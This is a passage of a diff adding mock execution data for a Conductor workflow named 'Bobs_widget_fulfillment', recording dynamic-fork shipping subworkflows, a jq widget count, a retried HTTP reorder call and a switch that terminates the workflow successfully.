1, + numberOfWidgets: "1", + }, + referenceTaskName: "shipping_loop_subworkflow_ref_1", + retryCount: 0, + seq: 6, + pollCount: 1, + taskDefName: "SUB_WORKFLOW", + scheduledTime: 1654516800133, + startTime: 1654516800673, + endTime: 1654516802428, + updateTime: 1654516800720, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "30dcf124-e590-11ec-99fe-ea3af9c7af2a", + workflowType: "Bobs_widget_fulfillment", + taskId: "30f708da-e590-11ec-99fe-ea3af9c7af2a", + callbackAfterSeconds: 0, + outputData: { + subWorkflowId: "314bdfa4-e590-11ec-99fe-ea3af9c7af2a", + orderDetails: { + 1: { + widget_shipping: { + fullAddress: + "BobBobBob BobraAnn\n1 Surf Street\nKokomo, FL 53111", + trackingNumber: "5500341 47648420", + }, + }, + iteration: 1, + }, + }, + workflowTask: { + taskReferenceName: "shipping_loop_subworkflow_ref_1", + inputParameters: {}, + type: "SUB_WORKFLOW", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + subWorkflowParam: { + name: "Shipping_loop_workflow", + }, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subWorkflowId: "314bdfa4-e590-11ec-99fe-ea3af9c7af2a", + subworkflowChanged: false, + taskDefinition: null, + loopOverTask: false, + queueWaitTime: 540, + }, + { + taskType: "JOIN", + status: "COMPLETED", + inputData: { + joinOn: [ + "shipping_loop_subworkflow_ref_0", + "shipping_loop_subworkflow_ref_1", + ], + }, + referenceTaskName: "image_multiple_convert_resize_join_ref", + retryCount: 0, + seq: 7, + pollCount: 0, + taskDefName: "JOIN", + scheduledTime: 1654516800133, + startTime: 1654516800133, + endTime: 1654516815698, + updateTime: 1654516800202, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "30dcf124-e590-11ec-99fe-ea3af9c7af2a", + workflowType: "Bobs_widget_fulfillment", + taskId: "30f92bbb-e590-11ec-99fe-ea3af9c7af2a", + callbackAfterSeconds: 0, + outputData: { + shipping_loop_subworkflow_ref_0: { + subWorkflowId: "31443e81-e590-11ec-99fe-ea3af9c7af2a", + orderDetails: { + 1: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "81900100 68490647", + }, + }, + 2: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "75954032 76216878", + }, + }, + 3: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "52750497 19652062", + }, + }, + 4: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "72896512 69020693", + }, + }, + 5: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "61473582 94684741", + }, + }, + 6: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "49293897 64849148", + }, + }, + 7: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "72669959 93938409", + }, + }, + 8: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "39018420 85980274", + }, + }, + 9: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "8274183 9267380", + }, + }, + 10: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "1884788 19309914", + }, + }, + 11: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "29288059 71566372", + }, + }, + 12: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "44861411 88039618", + }, + }, + iteration: 12, + }, + }, + shipping_loop_subworkflow_ref_1: { + subWorkflowId: "314bdfa4-e590-11ec-99fe-ea3af9c7af2a", + orderDetails: { + 1: { + widget_shipping: { + fullAddress: + "BobBobBob BobraAnn\n1 Surf Street\nKokomo, FL 53111", + trackingNumber: "5500341 47648420", + }, + }, + iteration: 1, + }, + }, + }, + workflowTask: { + name: "shipping_multiple_addresses_join", + taskReferenceName: "image_multiple_convert_resize_join_ref", + inputParameters: {}, + type: "JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + taskDefinition: null, + loopOverTask: false, + queueWaitTime: 0, + }, + { + taskType: "JSON_JQ_TRANSFORM", + status: "COMPLETED", + inputData: { + input: [ + { + numberOfWidgets: "12", + name: "Bob McBobFace", + street: "21 Bob Lane", + city: "Bobville", + state: "OR", + zip: "53111", + }, + { + numberOfWidgets: "1", + name: "BobBobBob BobraAnn", + street: "1 Surf Street", + city: "Kokomo", + state: "FL", + zip: "53111", + }, + ], + queryExpression: "[.input[].numberOfWidgets | tonumber ] | add", + }, + referenceTaskName: "jq_sum_widgets_ref", + retryCount: 0, + seq: 8, + pollCount: 0, + taskDefName: "jq_sum_widgets", + scheduledTime: 1654516815724, + startTime: 1654516815724, + endTime: 1654516815736, + updateTime: 1654516815736, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "30dcf124-e590-11ec-99fe-ea3af9c7af2a", + workflowType: "Bobs_widget_fulfillment", + taskId: "3a440421-e590-11ec-8ff3-3e1f34859ffe", + callbackAfterSeconds: 0, + outputData: { + result: 13, + resultList: [13], + }, + workflowTask: { + name: "jq_sum_widgets", + taskReferenceName: "jq_sum_widgets_ref", + inputParameters: { + input: "${workflow.input.addressList}", + queryExpression: "[.input[].numberOfWidgets | tonumber ] | add", + }, + type: "JSON_JQ_TRANSFORM", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + taskDefinition: null, + loopOverTask: false, + queueWaitTime: 0, + }, + { + taskType: "HTTP", + status: "FAILED", + inputData: { + asyncComplete: false, + http_request: { + method: "POST", + readTimeOut: 5000, + body: { + item: "widget", + count: 13, + }, + uri: "http://restfuldemo.herokuapp.com/appendorder", + connectionTimeOut: 5000, + }, + }, + referenceTaskName: "reorder_widgets_ref", + retryCount: 0, + seq: 9, + pollCount: 1, + taskDefName: "reorder_widgets", + scheduledTime: 1654516815761, + startTime: 1654516815873, + endTime: 1654516820969, + updateTime: 1654516820970, + startDelayInSeconds: 0, + retried: true, + executed: false, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "30dcf124-e590-11ec-99fe-ea3af9c7af2a", + workflowType: "Bobs_widget_fulfillment", + taskId: "3a49d082-e590-11ec-8ff3-3e1f34859ffe", + reasonForIncompletion: + 'Failed to invoke HTTP task due to: java.lang.Exception: I/O error on POST request for "http://restfuldemo.herokuapp.com/appendorder": Read timed out; nested exception is java.net.SocketTimeoutException: Read timed out', + callbackAfterSeconds: 0, + workerId: "orkes-conductor-deployment-6644848475-7rv6z", + outputData: { + response: + 'java.lang.Exception: I/O error on POST request for "http://restfuldemo.herokuapp.com/appendorder": Read timed out; nested exception is java.net.SocketTimeoutException: Read timed out', + }, + workflowTask: { + name: "reorder_widgets", + taskReferenceName: "reorder_widgets_ref", + inputParameters: { + http_request: { + uri: "http://restfuldemo.herokuapp.com/appendorder", + method: "POST", + body: { + item: "widget", + count: "${jq_sum_widgets_ref.output.result}", + }, + connectionTimeOut: 5000, + readTimeOut: 5000, + }, + asyncComplete: false, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + taskDefinition: { + createTime: 1649342184551, + updateTime: 1649342255822, + createdBy: "", + updatedBy: "", + name: "reorder_widgets", + description: + "extending the reorder task to have 3 retries and fixed delay", + retryCount: 3, + timeoutSeconds: 10, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + ownerEmail: "doug.sillars@orkes.io", + backoffScaleFactor: 1, + }, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + retryCount: 3, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + taskDefinition: { + createTime: 1649342184551, + updateTime: 1649342255822, + createdBy: "", + updatedBy: "", + name: "reorder_widgets", + description: + "extending the reorder task to have 3 retries and fixed delay", + retryCount: 3, + timeoutSeconds: 10, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + ownerEmail: "doug.sillars@orkes.io", + backoffScaleFactor: 1, + }, + loopOverTask: false, + queueWaitTime: 112, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + asyncComplete: false, + http_request: { + method: "POST", + readTimeOut: 5000, + body: { + item: "widget", + count: 13, + }, + uri: "http://restfuldemo.herokuapp.com/appendorder", + connectionTimeOut: 5000, + }, + }, + referenceTaskName: "reorder_widgets_ref", + retryCount: 1, + seq: 10, + pollCount: 1, + taskDefName: "reorder_widgets", + scheduledTime: 1654516820980, + startTime: 1654516826123, + endTime: 1654516826164, + updateTime: 1654516820970, + startDelayInSeconds: 5, + retriedTaskId: "3a49d082-e590-11ec-8ff3-3e1f34859ffe", + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "30dcf124-e590-11ec-99fe-ea3af9c7af2a", + workflowType: "Bobs_widget_fulfillment", + taskId: "3d66047f-e590-11ec-8bc1-168cc4bae9cf", + callbackAfterSeconds: 5, + workerId: "orkes-conductor-deployment-6644848475-5k9vm", + outputData: { + response: { + headers: { + Server: ["Cowboy"], + Connection: ["keep-alive"], + "X-Powered-By": ["Express"], + "Content-Type": ["text/html; charset=utf-8"], + "Content-Length": ["41"], + Etag: ['W/"29-H58QMsCQTuEnY84zyDHEtcQuZTs"'], + Date: ["Mon, 06 Jun 2022 12:00:26 GMT"], + Via: ["1.1 vegur"], + }, + reasonPhrase: "OK", + body: "Success!13 widget(s) added to your order.", + statusCode: 200, + }, + }, + workflowTask: { + name: "reorder_widgets", + taskReferenceName: "reorder_widgets_ref", + inputParameters: { + http_request: { + uri: "http://restfuldemo.herokuapp.com/appendorder", + method: "POST", + body: { + item: "widget", + count: "${jq_sum_widgets_ref.output.result}", + }, + connectionTimeOut: 5000, + readTimeOut: 5000, + }, + asyncComplete: false, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + taskDefinition: { + createTime: 1649342184551, + updateTime: 1649342255822, + createdBy: "", + updatedBy: "", + name: "reorder_widgets", + description: + "extending the reorder task to have 3 retries and fixed delay", + retryCount: 3, + timeoutSeconds: 10, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + ownerEmail: "doug.sillars@orkes.io", + backoffScaleFactor: 1, + }, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + retryCount: 3, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + taskDefinition: { + createTime: 1649342184551, + updateTime: 1649342255822, + createdBy: "", + updatedBy: "", + name: "reorder_widgets", + description: + "extending the reorder task to have 3 retries and fixed delay", + retryCount: 3, + timeoutSeconds: 10, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + ownerEmail: "doug.sillars@orkes.io", + backoffScaleFactor: 1, + }, + loopOverTask: false, + queueWaitTime: 39933090, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + case: "Success!13 widget(s) added to your order.", + }, + referenceTaskName: "switch_task", + retryCount: 0, + seq: 11, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1654516826196, + startTime: 1654516826196, + endTime: 1654516826212, + updateTime: 1654516826205, + startDelayInSeconds: 0, + retried: false, + executed: false, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "30dcf124-e590-11ec-99fe-ea3af9c7af2a", + workflowType: "Bobs_widget_fulfillment", + taskId: "408211ba-e590-11ec-99fe-ea3af9c7af2a", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["Success!13 widget(s) added to your order."], + }, + workflowTask: { + name: "order_checking", + taskReferenceName: "switch_task", + inputParameters: { + switchCaseValue: "${reorder_widgets_ref.output.response.body}", + }, + type: "SWITCH", + decisionCases: { + "Order failed.": [ + { + name: "terminate_fail", + taskReferenceName: "terminate_fail", + inputParameters: { + terminationStatus: "FAILED", + workflowOutput: { + orderDetails: + "${image_multiple_convert_resize_join_ref.output}", + reorder: "${reorder_widgets_ref.output.response.body}", + }, + }, + type: "TERMINATE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + }, + defaultCase: [ + { + name: "terminate_success", + taskReferenceName: "terminate_success", + inputParameters: { + terminationStatus: "COMPLETED", + workflowOutput: { + orderDetails: + "${image_multiple_convert_resize_join_ref.output}", + reorder: "${reorder_widgets_ref.output.response.body}", + }, + }, + type: "TERMINATE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + taskDefinition: null, + loopOverTask: false, + queueWaitTime: 0, + }, + { + taskType: "TERMINATE", + status: "COMPLETED", + inputData: { + terminationStatus: "COMPLETED", + workflowOutput: { + orderDetails: { + shipping_loop_subworkflow_ref_0: { + subWorkflowId: "31443e81-e590-11ec-99fe-ea3af9c7af2a", + orderDetails: { + 1: { + widget_shipping: { + fullAddress: + "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "81900100 68490647", + }, + }, + 2: { + widget_shipping: { + fullAddress: + "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "75954032 76216878", + }, + }, + 3: { + widget_shipping: { + fullAddress: + "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "52750497 19652062", + }, + }, + 4: { + widget_shipping: { + fullAddress: + "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "72896512 69020693", + }, + }, + 5: { + widget_shipping: { + fullAddress: + "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "61473582 94684741", + }, + }, + 6: { + widget_shipping: { + fullAddress: + "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "49293897 64849148", + }, + }, + 7: { + widget_shipping: { + fullAddress: + "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "72669959 93938409", + }, + }, + 8: { + widget_shipping: { + fullAddress: + "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "39018420 85980274", + }, + }, + 9: { + widget_shipping: { + fullAddress: + "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "8274183 9267380", + }, + }, + 10: { + widget_shipping: { + fullAddress: + "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "1884788 19309914", + }, + }, + 11: { + widget_shipping: { + fullAddress: + "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "29288059 71566372", + }, + }, + 12: { + widget_shipping: { + fullAddress: + "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "44861411 88039618", + }, + }, + iteration: 12, + }, + }, + shipping_loop_subworkflow_ref_1: { + subWorkflowId: "314bdfa4-e590-11ec-99fe-ea3af9c7af2a", + orderDetails: { + 1: { + widget_shipping: { + fullAddress: + "BobBobBob BobraAnn\n1 Surf Street\nKokomo, FL 53111", + trackingNumber: "5500341 47648420", + }, + }, + iteration: 1, + }, + }, + }, + reorder: "Success!13 widget(s) added to your order.", + }, + }, + referenceTaskName: "terminate_success", + retryCount: 0, + seq: 12, + pollCount: 0, + taskDefName: "terminate_success", + scheduledTime: 1654516826196, + startTime: 1654516826196, + endTime: 1654516826215, + updateTime: 1654516826207, + startDelayInSeconds: 0, + retried: false, + executed: false, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "30dcf124-e590-11ec-99fe-ea3af9c7af2a", + workflowType: "Bobs_widget_fulfillment", + taskId: "408211bb-e590-11ec-99fe-ea3af9c7af2a", + callbackAfterSeconds: 0, + outputData: { + orderDetails: { + shipping_loop_subworkflow_ref_0: { + subWorkflowId: "31443e81-e590-11ec-99fe-ea3af9c7af2a", + orderDetails: { + 1: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "81900100 68490647", + }, + }, + 2: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "75954032 76216878", + }, + }, + 3: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "52750497 19652062", + }, + }, + 4: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "72896512 69020693", + }, + }, + 5: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "61473582 94684741", + }, + }, + 6: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "49293897 64849148", + }, + }, + 7: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "72669959 93938409", + }, + }, + 8: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "39018420 85980274", + }, + }, + 9: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "8274183 9267380", + }, + }, + 10: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "1884788 19309914", + }, + }, + 11: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "29288059 71566372", + }, + }, + 12: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "44861411 88039618", + }, + }, + iteration: 12, + }, + }, + shipping_loop_subworkflow_ref_1: { + subWorkflowId: "314bdfa4-e590-11ec-99fe-ea3af9c7af2a", + orderDetails: { + 1: { + widget_shipping: { + fullAddress: + "BobBobBob BobraAnn\n1 Surf Street\nKokomo, FL 53111", + trackingNumber: "5500341 47648420", + }, + }, + iteration: 1, + }, + }, + }, + reorder: "Success!13 widget(s) added to your order.", + }, + workflowTask: { + name: "terminate_success", + taskReferenceName: "terminate_success", + inputParameters: { + terminationStatus: "COMPLETED", + workflowOutput: { + orderDetails: "${image_multiple_convert_resize_join_ref.output}", + reorder: "${reorder_widgets_ref.output.response.body}", + }, + }, + type: "TERMINATE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + taskDefinition: null, + loopOverTask: false, + queueWaitTime: 0, + }, + ], + input: { + _executedTime: 1654516799940, + _executionId: "42535504-8723-40cd-8303-05cbbecc3dd7", + _scheduledTime: 1654516800000, + addressList: [ + { + numberOfWidgets: "12", + name: "Bob McBobFace", + street: "21 Bob Lane", + city: "Bobville", + state: "OR", + zip: "53111", + }, + { + numberOfWidgets: "1", + name: "BobBobBob BobraAnn", + street: "1 Surf Street", + city: "Kokomo", + state: "FL", + zip: "53111", + }, + ], + _startedByScheduler: "doug_test", + }, + output: { + orderDetails: { + shipping_loop_subworkflow_ref_0: { + subWorkflowId: "31443e81-e590-11ec-99fe-ea3af9c7af2a", + orderDetails: { + 1: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "81900100 68490647", + }, + }, + 2: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "75954032 76216878", + }, + }, + 3: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "52750497 19652062", + }, + }, + 4: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "72896512 69020693", + }, + }, + 5: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "61473582 94684741", + }, + }, + 6: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "49293897 64849148", + }, + }, + 7: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "72669959 93938409", + }, + }, + 8: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "39018420 85980274", + }, + }, + 9: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "8274183 9267380", + }, + }, + 10: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "1884788 19309914", + }, + }, + 11: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "29288059 71566372", + }, + }, + 12: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "44861411 88039618", + }, + }, + iteration: 12, + }, + }, + shipping_loop_subworkflow_ref_1: { + subWorkflowId: "314bdfa4-e590-11ec-99fe-ea3af9c7af2a", + orderDetails: { + 1: { + widget_shipping: { + fullAddress: + "BobBobBob BobraAnn\n1 Surf Street\nKokomo, FL 53111", + trackingNumber: "5500341 47648420", + }, + }, + iteration: 1, + }, + }, + }, + reorder: "Success!13 widget(s) added to your order.", + }, + reasonForIncompletion: + "Workflow is COMPLETED by TERMINATE task: 408211bb-e590-11ec-99fe-ea3af9c7af2a", + taskToDomain: {}, + failedReferenceTaskNames: ["reorder_widgets_ref"], + workflowDefinition: { + updateTime: 1649167373457, + name: "Bobs_widget_fulfillment", + description: "Shipping widgets right from Bob", + version: 4, + tasks: [ + { + name: "jq_address_count", + taskReferenceName: "jq_address_count_ref", + inputParameters: { + input: "${workflow.input.addressList}", + queryExpression: ".[] |length", + }, + type: "JSON_JQ_TRANSFORM", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "jq_create_dynamictasks", + taskReferenceName: "jq_create_dynamictasks_ref", + inputParameters: { + input: "{}", + queryExpression: + 'reduce range(0,${jq_address_count_ref.output.result}) as $f (.; .dynamicTasks[$f].subWorkflowParam.name = "Shipping_loop_workflow" | .dynamicTasks[$f].taskReferenceName = "shipping_loop_subworkflow_ref_\\($f)" | .dynamicTasks[$f].type = "SUB_WORKFLOW")', + }, + type: "JSON_JQ_TRANSFORM", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "jq_create_dynamictaskParams", + taskReferenceName: "jq_create_dynamictasksParams_ref", + inputParameters: { + input: "{}", + addresses: "${workflow.input.addressList}", + taskList: "${jq_create_dynamictasks_ref.output.result}", + queryExpression: + 'reduce range(0,${jq_address_count_ref.output.result}) as $f (.; .dynamicTasksInput."shipping_loop_subworkflow_ref_\\($f)" = .addresses[$f])', + }, + type: "JSON_JQ_TRANSFORM", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "shipping_dynamic_fork", + taskReferenceName: "shipping_dynamic_fork_ref", + inputParameters: { + dynamicTasks: + "${jq_create_dynamictasks_ref.output.result.dynamicTasks}", + dynamicTasksInput: + "${jq_create_dynamictasksParams_ref.output.result.dynamicTasksInput}", + }, + type: "FORK_JOIN_DYNAMIC", + decisionCases: {}, + dynamicForkTasksParam: "dynamicTasks", + dynamicForkTasksInputParamName: "dynamicTasksInput", + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "shipping_multiple_addresses_join", + taskReferenceName: "image_multiple_convert_resize_join_ref", + inputParameters: {}, + type: "JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "jq_sum_widgets", + taskReferenceName: "jq_sum_widgets_ref", + inputParameters: { + input: "${workflow.input.addressList}", + queryExpression: "[.input[].numberOfWidgets | tonumber ] | add", + }, + type: "JSON_JQ_TRANSFORM", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "reorder_widgets", + taskReferenceName: "reorder_widgets_ref", + inputParameters: { + http_request: { + uri: "http://restfuldemo.herokuapp.com/appendorder", + method: "POST", + body: { + item: "widget", + count: "${jq_sum_widgets_ref.output.result}", + }, + connectionTimeOut: 5000, + readTimeOut: 5000, + }, + asyncComplete: false, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + taskDefinition: { + createTime: 1649342184551, + updateTime: 1649342255822, + createdBy: "", + updatedBy: "", + name: "reorder_widgets", + description: + "extending the reorder task to have 3 retries and fixed delay", + retryCount: 3, + timeoutSeconds: 10, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + ownerEmail: "doug.sillars@orkes.io", + backoffScaleFactor: 1, + }, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + retryCount: 3, + }, + { + name: "order_checking", + taskReferenceName: "switch_task", + inputParameters: { + switchCaseValue: "${reorder_widgets_ref.output.response.body}", + }, + type: "SWITCH", + decisionCases: { + "Order failed.": [ + { + name: "terminate_fail", + taskReferenceName: "terminate_fail", + inputParameters: { + terminationStatus: "FAILED", + workflowOutput: { + orderDetails: + "${image_multiple_convert_resize_join_ref.output}", + reorder: "${reorder_widgets_ref.output.response.body}", + }, + }, + type: "TERMINATE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + }, + defaultCase: [ + { + name: "terminate_success", + taskReferenceName: "terminate_success", + inputParameters: { + terminationStatus: "COMPLETED", + workflowOutput: { + orderDetails: + "${image_multiple_convert_resize_join_ref.output}", + reorder: "${reorder_widgets_ref.output.response.body}", + }, + }, + type: "TERMINATE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + }, + ], + inputParameters: [], + 